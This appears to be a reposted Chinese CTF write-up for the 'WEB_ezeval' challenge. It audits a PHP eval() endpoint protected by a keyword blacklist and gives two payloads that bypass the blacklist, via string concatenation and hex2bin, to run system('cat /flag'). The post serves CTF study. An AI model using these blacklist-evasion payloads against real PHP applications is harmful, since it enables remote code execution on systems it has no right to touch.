zoukankan      html  css  js  c++  java
  • BMZCTF WEB_ezeval

    WEB_ezeval
    题目简介:
    打开后是一段php代码,进行代码审计:

         <?php
        highlight_file(__FILE__);
        $cmd=$_POST['cmd'];
        $cmd=htmlspecialchars($cmd);
        $black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
        $cmd = str_ireplace($black_list,"BMZCTF",$cmd);
        eval($cmd);
         
        ?> 

    大致思路是:我们要将需要POST传入的命令执行语句放进$cmd中,并且绕过这个过滤str_ireplace()函数。
    相关知识:
    htmlspecialchars() 函数:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
    str_ireplace() 函数:str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
    eval()函数:把字符串作为PHP代码执行。
    解法:
    一、拼接字符串绕过
    cmd=(s.y.s.t.e.m)('cat /flag');  //.在php中有连接字符串的作用,所以用来拼接字符串
    二、进制编码绕过
    cmd=hex2bin('73797374656d')('cat /flag');
    PHP hex2bin() 函数:把十六进制值转换为 ASCII 字符.
    注意分号闭合语句

  • 相关阅读:
    Linux如何查找大文件或目录总结
    Linux下动态调整LVM文件系统大小
    ios学习路线图
    js模块,类,继承,命名空间,私有属性等相关概念梳理
    <代码大全2>记录
    2017读书计划
    Spring声明式事务
    Spring-Aop
    Spring静态工厂和扫描器
    Spring-IOC
  • 原文地址:https://www.cnblogs.com/akger/p/15233567.html
Copyright © 2011-2022 走看看